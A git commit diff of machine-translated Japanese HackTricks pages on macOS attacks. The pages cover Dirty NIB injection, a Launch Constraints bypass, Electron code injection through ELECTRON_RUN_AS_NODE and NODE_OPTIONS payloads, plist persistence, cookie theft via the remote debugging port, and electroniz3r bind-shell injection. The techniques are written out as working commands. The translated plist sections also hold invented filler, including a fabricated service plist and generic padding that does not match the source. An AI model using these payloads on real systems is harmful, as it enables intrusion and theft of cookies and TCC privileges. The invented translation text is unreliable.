Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2023-11-06 16:03:07 +00:00
parent 897b6ba301
commit b989fc30fe
11 changed files with 235 additions and 236 deletions

View file

@ -171,8 +171,8 @@
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md)
* [macOS xpc\_connection\_get\_audit\_token Attack](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc\_connection\_get\_audit\_token-attack.md)
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md)
* [macOS xpc\_connection\_get\_audit\_token Attack](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc\_connection\_get\_audit\_token-attack.md)
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)

View file

@ -4,35 +4,35 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有する、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
**この技術は、以下の投稿から取得されました** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
**この技術は、以下の記事から取得されました** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
## 基本情報
NIBファイルは、Appleの開発エコシステムで**ユーザーインターフェースUI要素**とそのアプリケーション内での相互作用を定義するために使用されます。Interface Builderツールで作成され、ウィンドウ、ボタン、テキストフィールドなどの**シリアライズされたオブジェクト**を含み、設計されたUIを表示するためにランタイムでロードされます。Appleはまだ使用していますが、より視覚的なアプリケーションのUIフローを表現するためにStoryboardを推奨しています。
NIBファイルは、Appleの開発エコシステムで**ユーザーインターフェースUI要素**とそのアプリケーション内での相互作用を定義するために使用されます。Interface Builderツールで作成され、ウィンドウ、ボタン、テキストフィールドなどの**シリアル化されたオブジェクト**を含み、設計されたUIを表示するためにランタイムでロードされます。Appleはまだ使用していますが、より視覚的なアプリケーションのUIフローを提供するためにStoryboardを推奨する方向に移行しています。
{% hint style="danger" %}
さらに、**NIBファイル**は**任意のコマンドを実行するためにも使用**でき、NIBファイルがアプリ内で変更されても、**Gatekeeperはアプリの実行を許可**しますので、**アプリケーション内で任意のコマンドを実行**するために使用できます。
さらに、**NIBファイル**は**任意のコマンドを実行するためにも使用**でき、NIBファイルがアプリ内で変更された場合でも、**Gatekeeperはアプリの実行を許可**します。したがって、**アプリケーション内で任意のコマンドを実行**するために使用できます。
{% endhint %}
## Dirty NIB Injection <a href="#dirtynib" id="dirtynib"></a>
まず、新しいNIBファイルを作成する必要があります。構築のためにXCodeを使用します。まず、インターフェースにオブジェクトを追加し、クラスをNSAppleScriptに設定します。
まず、新しいNIBファイルを作成する必要があります。構築の大部分にはXCodeを使用します。まず、インターフェースにオブジェクトを追加し、クラスをNSAppleScriptに設定します。
<figure><img src="../../../.gitbook/assets/image (681).png" alt="" width="380"><figcaption></figcaption></figure>
オブジェクトには、ユーザー定義のランタイム属性を使用して、初期の`source`プロパティを設定する必要があります。
オブジェクトには、User Defined Runtime Attributesを使用して初期の`source`プロパティを設定する必要があります。
<figure><img src="../../../.gitbook/assets/image (682).png" alt="" width="563"><figcaption></figcaption></figure>
これにより、リクエストに応じてAppleScriptを実行する**コード実行ガジェット**が設定されます。AppleScriptの実行を実際にトリガーするために、現時点ではボタンを追加しますもちろん、これについては創造的になることができます ;))。ボタンは、**作成したApple Scriptオブジェクトにバインド**され、**`executeAndReturnError:`セレクタを呼び出します**。
これにより、リクエストに応じて**AppleScriptを実行する**コード実行ガジェットが設定されます。AppleScriptの実行を実際にトリガーするために、現時点ではボタンを追加しますもちろん、これには創造的になることもできます ;))。ボタンは、**作成したApple Scriptオブジェクトにバインド**され、**`executeAndReturnError:`セレクタを呼び出します**。
<figure><img src="../../../.gitbook/assets/image (683).png" alt="" width="563"><figcaption></figcaption></figure>
@ -84,20 +84,20 @@ grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/
[**任意のコードを実行する悪意のある.xibファイルの例**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
{% endhint %}
## ランチ制約
## 起動制約
基本的には、**予想される場所以外でアプリケーションを実行することを防ぐ**ためのものです。したがって、ランチ制約で保護されたアプリケーションを`/tmp`にコピーすると、実行できなくなります。\
[**詳細はこの投稿で確認してください**](../macos-security-protections/#launch-constraints)**。**
基本的には、**予想される場所以外でアプリケーションを実行することを防止**するものです。したがって、Launch Constrains で保護されたアプリケーションを `/tmp` にコピーすると、実行できなくなります。\
[**この投稿で詳細を見つける**](../macos-security-protections/#launch-constraints)**。**
ただし、ファイル**`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**を解析すると、**ランチ制約で保護されていないアプリケーション**がまだ見つかるため、**それら**に任意の場所に**NIB**ファイルを注入することができます(これらのアプリケーションを見つける方法については、前のリンクを参照してください)。
ただし、ファイル **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`** を解析すると、**Launch Constrains で保護されていないアプリケーション**がまだ見つかるため、**それら**に任意の場所に **NIB** ファイルを注入することができます(これらのアプリケーションを見つける方法については、前のリンクを参照してください)。
## 追加の保護
macOS Somonaから、**アプリ内への書き込みを防ぐ保護**があります。ただし、バイナリのコピーを実行する前に、Contentsフォルダの名前を変更すると、この保護を回避することができます。
macOS Somona から、**アプリ内への書き込みを防ぐ保護**があります。ただし、バイナリのコピーを実行する前に、Contents フォルダの名前を変更することでこの保護を回避することができます。
1. `CarPlay Simulator.app``/tmp/` にコピーします。
2. `/tmp/Carplay Simulator.app/Contents``/tmp/CarPlay Simulator.app/NotCon` に名前を変更します。
3. バイナリ`/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator`を実行してGatekeeper内にキャッシュします。
3. バイナリ `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` を実行して Gatekeeper にキャッシュします。
4. `NotCon/Resources/Base.lproj/MainMenu.nib``Dirty.nib` ファイルで上書きします。
5. `/tmp/CarPlay Simulator.app/Contents` に名前を変更します。
6. `CarPlay Simulator.app` を再度起動します。
@ -106,9 +106,9 @@ macOS Somonaから、**アプリ内への書き込みを防ぐ保護**があり
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを発見してください
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **サイバーセキュリティ企業で働いていますか?** **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) をご覧ください。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローしてください。**
* **ハッキングのトリックを共有するには、PR を** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

View file

@ -56,13 +56,13 @@ macOSアプリケーションでは、通常、`application.app/Contents/Framewo
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
[https://hexed.it/](https://hexed.it/)でこのファイルをロードし、前の文字列を検索することができます。この文字列の後には、各ューズが無効または有効であることを示すASCIIの数字「0」または「1」が表示されます。ヒューズの値を変更するには、16進コード(`0x30`は`0`であり、`0x31`は`1`です)を変更します。
[https://hexed.it/](https://hexed.it/)でこのファイルをロードし、前の文字列を検索することができます。この文字列の後には、各ューズが無効または有効であることを示すASCIIの数字「0」または「1」が表示されます。ヘックスコード(`0x30`は`0`であり、`0x31`は`1`です)を変更して、**フューズの値を変更**します。
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
ただし、これらのバイトが変更された状態でアプリケーション内の**`Electron Framework`バイナリ**を上書きしようとすると、アプリが実行されなくなります。
## Electronアプリケーションへのコード追加によるRCE
## Electronアプリケーションへのコード追加によるRCE
Electronアプリが使用している**外部のJS/HTMLファイル**が存在する場合、攻撃者はこれらのファイルにコードを注入し、シグネチャがチェックされないため、アプリのコンテキストで任意のコードを実行することができます。
@ -70,14 +70,22 @@ Electronアプリが使用している**外部のJS/HTMLファイル**が存在
ただし、現時点では2つの制限があります
* アプリを変更するには、**`kTCCServiceSystemPolicyAppBundles`**権限が必要です。したがって、デフォルトではこれはもはや可能ではありません。
* コンパイルされた**`asap`**ファイルには通常、ューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が有効になっています。
* コンパイルされた**`asap`**ファイルには通常、ューズ**`embeddedAsarIntegrityValidation`**と**`onlyLoadAppFromAsar`**が有効になっています。
これにより、この攻撃経路はより複雑になります(または不可能になります)。
{% endhint %}
**`kTCCServiceSystemPolicyAppBundles`**の要件をバイパスすることも可能であり、アプリケーションを別のディレクトリ(たとえば**`/tmp`**)にコピーし、フォルダ**`app.app/Contents`**を**`app.app/NotCon`**に名前を変更し、**悪意のある**コードで**asar**ファイルを変更し、それを**`app.app/Contents`**に戻し、実行することができます。
## `ELECTRON_RUN_AS_NODE`によるRCE <a href="#electron_run_as_node" id="electron_run_as_node"></a>
asarファイルからコードを展開するには、次のコマンドを使用できます
```bash
npx asar extract app.asar app-decomp
```
そして、それを変更した後に再度パックします。
```bash
npx asar pack app-decomp app-new.asar
```
## `ELECTRON_RUN_AS_NODE`を使用したRCE <a href="#electron_run_as_node" id="electron_run_as_node"></a>
[**ドキュメント**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node)によると、この環境変数が設定されている場合、プロセスは通常のNode.jsプロセスとして開始されます。
@ -127,7 +135,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% code overflow="wrap" %}
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@ -140,7 +148,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
### アプリの Plist からのインジェクション
この環境変数を plist に悪用することで、以下のキーを追加して持続性を維持することができます:
この環境変数を plist に悪用することで、以下のキーを追加して持続性を確保することができます:
```xml
<dict>
<key>EnvironmentVariables</key>
@ -170,12 +178,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
もしfuse**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`のようなノードパラメータを**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、それも**無視**されます。fuse**`RunAsNode`**が無効になっている場合も同様です。
もしfuse**`EnableNodeCliInspectArguments`**が無効になっている場合、アプリは起動時に`--inspect`のようなノードパラメータを**無視**します。ただし、環境変数**`ELECTRON_RUN_AS_NODE`**が設定されている場合は、それも**無視**されます。これはfuse**`RunAsNode`**が無効になっている場合も同様です。
ただし、引き続き**electronパラメータ`--remote-debugging-port=9229`**を使用することはできますが、前述のペイロードでは他のプロセスを実行することはできません。
{% endhint %}
パラメータ**`--remote-debugging-port=9222`**を使用すると、Electronアプリから**履歴**GETコマンドを含むやブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**JSONエンドポイント**が存在すなどの情報を盗むことがきます。
パラメータ**`--remote-debugging-port=9222`**を使用すると、Electronアプリからいくつかの情報を盗むことができます。例えば、**履歴**GETコマンドを含むやブラウザの**クッキー**(ブラウザ内で**復号**され、それらを提供する**JSONエンドポイント**が存在します)です。
これについては、[**こちら**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)と[**こちら**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)で学ぶことができます。また、自動ツール[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)や以下のようなシンプルなスクリプトを使用することもできます:
```python
@ -201,15 +209,15 @@ print(ws.recv()
<true/>
</dict>
```
## TCCバイパス古いバージョンの悪用
## TCCバイパスによる古いバージョンの悪用
{% hint style="success" %}
macOSのTCCデーモンは、実行されるアプリケーションのバージョンをチェックしません。したがって、前述のいずれの技術でもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのアプリをダウンロードし、それにコードをインジェクトすることができます。これにより、TCCの特権を取得できます。
macOSのTCCデーモンは、実行されるアプリケーションのバージョンをチェックしません。したがって、前述のいずれの技術でもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのアプリをダウンロードしコードをインジェクトすることができます。これにより、TCCの特権を取得できますただし、Trust Cacheが防止する場合を除く
{% endhint %}
## 自動インジェクション
ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)は、インストールされている脆弱なElectronアプリケーションを見つけ、それらにコードをインジェクトするために簡単に使用できます。このツールは、**`--inspect`** 技術を使用しようとします。
ツール[**electroniz3r**](https://github.com/r3ggi/electroniz3r)を使用すると、インストールされている脆弱なElectronアプリケーションを簡単に見つけて、コードをインジェクトすることができます。このツールは、**`--inspect`** 技術を使用しようとします。
自分でコンパイルする必要があり、次のように使用できます:
```bash
@ -260,7 +268,7 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
@ -22,15 +22,15 @@ XPCの主な利点は次のとおりです
1. **セキュリティ**:作業を異なるプロセスに分割することで、各プロセスに必要な権限のみを付与することができます。これにより、プロセスが侵害された場合でも、被害を最小限に抑えることができます。
2. **安定性**XPCは、クラッシュを発生したコンポーネントに限定して分離するのに役立ちます。プロセスがクラッシュした場合、システムの他の部分に影響を与えることなく再起動することができます。
3. **パフォーマンス**XPCにより、異なるタスクを異なるプロセスで同時に実行することが容易になります。
3. **パフォーマンス**XPCは簡単な並行性を可能にし、異なるプロセスで同時にさまざまなタスクを実行することができます。
唯一の**欠点**は、アプリケーションを複数のプロセスに分割してXPCを介して通信することは**効率が低下する**ことです。しかし、現在のシステムではほとんど気づかれず、利点の方が優れています。
唯一の**欠点**は、アプリケーションを**複数のプロセスに分割**し、それらがXPCを介して通信することは**効率が低下する**ことです。しかし、現在のシステムではほとんど気づかれず、利点の方が優れています。
## アプリケーション固有のXPCサービス
アプリケーションのXPCコンポーネントは、**アプリケーション自体の中にあります**。たとえば、Safariでは、**`/Applications/Safari.app/Contents/XPCServices`**にそれらを見つけることができます。拡張子は**`.xpc`**(例:**`com.apple.Safari.SandboxBroker.xpc`**)であり、**メインバイナリ**もそれと一緒に**バンドル**されています:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`および`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
XPCコンポーネントは、他のXPCコンポーネントやメインのアプリケーションバイナリとは異なる**エンタイトルメントと特権**を持つ場合があります。ただし、XPCサービスが**Info.plist**ファイルで[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)を「True」に設定されている場合は除きます。この場合、XPCサービスは、それを呼び出したアプリケーションと**同じセキュリティセッションで実行**されます。
XPCコンポーネントは、他のXPCコンポーネントやメインのアプリバイナリとは異なる**エンタイトルメントと特権**を持つ場合があります。ただし、XPCサービスが**Info.plist**ファイルで[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)を「True」に設定されている場合は除きます。この場合、XPCサービスは、それを呼び出したアプリケーションと**同じセキュリティセッションで実行**されます。
XPCサービスは、必要に応じて**launchd**によって**起動**され、すべてのタスクが**完了**した後に**シャットダウン**され、システムリソースを解放します。**アプリケーション固有のXPCコンポーネントは、アプリケーションのみが利用**できるため、潜在的な脆弱性に関連するリスクを低減します。
@ -107,7 +107,7 @@ xpcspy -U -r -W <bundle-id>
## Using filters (i: for input, o: for output)
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
```
## Cコードの例
## XPC通信のCコードの例
{% tabs %}
{% tab title="xpc_server.c" %}
@ -218,37 +218,17 @@ dispatch_main();
return 0;
}
```
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plistファイルは、macOSでXPCサービスを作成するために使用されるプロパティリストファイルです。このファイルには、サービスの設定と実行に関する情報が含まれています。
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plistファイルは、macOSでXPCサービスを作成するために使用されるプロパティリストファイルです。XPCサービスは、異なるプロセス間での通信と相互作用を可能にするために使用されます。
以下は、xyz.hacktricks.service.plistファイルの例です。
このプロパティリストファイルには、XPCサービスの設定と動作に関する情報が含まれています。例えば、サービスのバンドル識別子、起動時に実行するバイナリファイルのパス、およびサービスが使用するプロトコルの情報などが含まれます。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/python</string>
<string>/path/to/xyz.hacktricks.service.py</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StandardOutPath</key>
<string>/var/log/xyz.hacktricks.service.log</string>
<key>StandardErrorPath</key>
<string>/var/log/xyz.hacktricks.service.log</string>
</dict>
</plist>
```
XPCサービスは、特権の昇格やセキュリティの侵害に悪用される可能性があるため、慎重に設計する必要があります。このプロパティリストファイルを適切に構成することで、セキュリティを強化し、特権の昇格攻撃を防ぐことができます。
この例では、`xyz.hacktricks.service`というラベルのXPCサービスが定義されています。サービスは`/usr/bin/python`を実行し、`/path/to/xyz.hacktricks.service.py`スクリプトを引数として渡します。`RunAtLoad`と`KeepAlive`キーは、サービスが起動時に実行されることと、異常終了時に再起動されることを示しています。`StandardOutPath`と`StandardErrorPath`キーは、ログファイルのパスを指定します。
XPCサービスを作成する際には、適切なアクセス制御と認証メカニズムを実装することが重要です。また、サービスが受け入れる入力データの検証やサニタイズも行う必要があります。これにより、悪意のあるユーザーからの攻撃を防ぐことができます。
このプロパティリストファイルを使用して、macOSでXPCサービスを作成および管理することができます。{% endtab %}
さらに、XPCサービスのプロパティリストファイルは、適切な権限とアクセス制御を持つように設定する必要があります。不要な特権を持つサービスを作成することは、セキュリティ上のリスクとなります。
XPCサービスのセキュリティを強化するためには、最新のセキュリティパッチを適用し、セキュリティベストプラクティスに従うことが重要です。また、定期的な監視とログの分析を行い、異常なアクティビティを検出することも推奨されます。{% endtab %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -290,7 +270,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
## Objective-Cコード例
## XPC通信 Objective-Cコード
{% tabs %}
{% tab title="oc_xpc_server.m" %}
@ -372,7 +352,9 @@ XPCサービスは、セキュリティと特権エスカレーションの観
xyz.hacktricks.svcoc.plistファイルを分析することで、XPCサービスの設定とプロパティを理解し、セキュリティ上の脆弱性を特定することができます。これにより、システムのハードニングとプライバシーの向上が可能になります。
このファイルを分析する際には、潜在的な脆弱性やセキュリティ上の問題を特定するために、XPCサービスの動作と関連する情報を詳細に調査する必要があります。{% endtab %}
このファイルを分析する際には、潜在的な脆弱性やセキュリティ上の問題を特定するために、XPCサービスの設定とプロパティに関する知識が必要です。また、適切なセキュリティ対策を実施するために、macOSのセキュリティベストプラクティスにも精通していることが重要です。
注意:このファイルを悪用することは違法です。この情報は、セキュリティ専門家やシステム管理者がセキュリティの向上を目指すために使用することを目的としています。{% endtab %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -426,35 +408,35 @@ To interact with the server, the client uses the XPC (eXtensible Procedure Call)
The client code typically includes the following steps:
クライアントコードには通常、の手順が含まれます。
クライアントコードには通常、以下の手順が含まれます。
1. Importing the necessary XPC headers and frameworks.
1. Importing the necessary XPC framework.
必要なXPCヘッダーとフレームワークをインポートする
必要なXPCフレームワークのインポート
2. Creating an XPC connection using `xpc_connection_create()`.
2. Creating an XPC connection to the server.
`xpc_connection_create()`を使用してXPC接続を作成する
サーバーへのXPC接続の作成
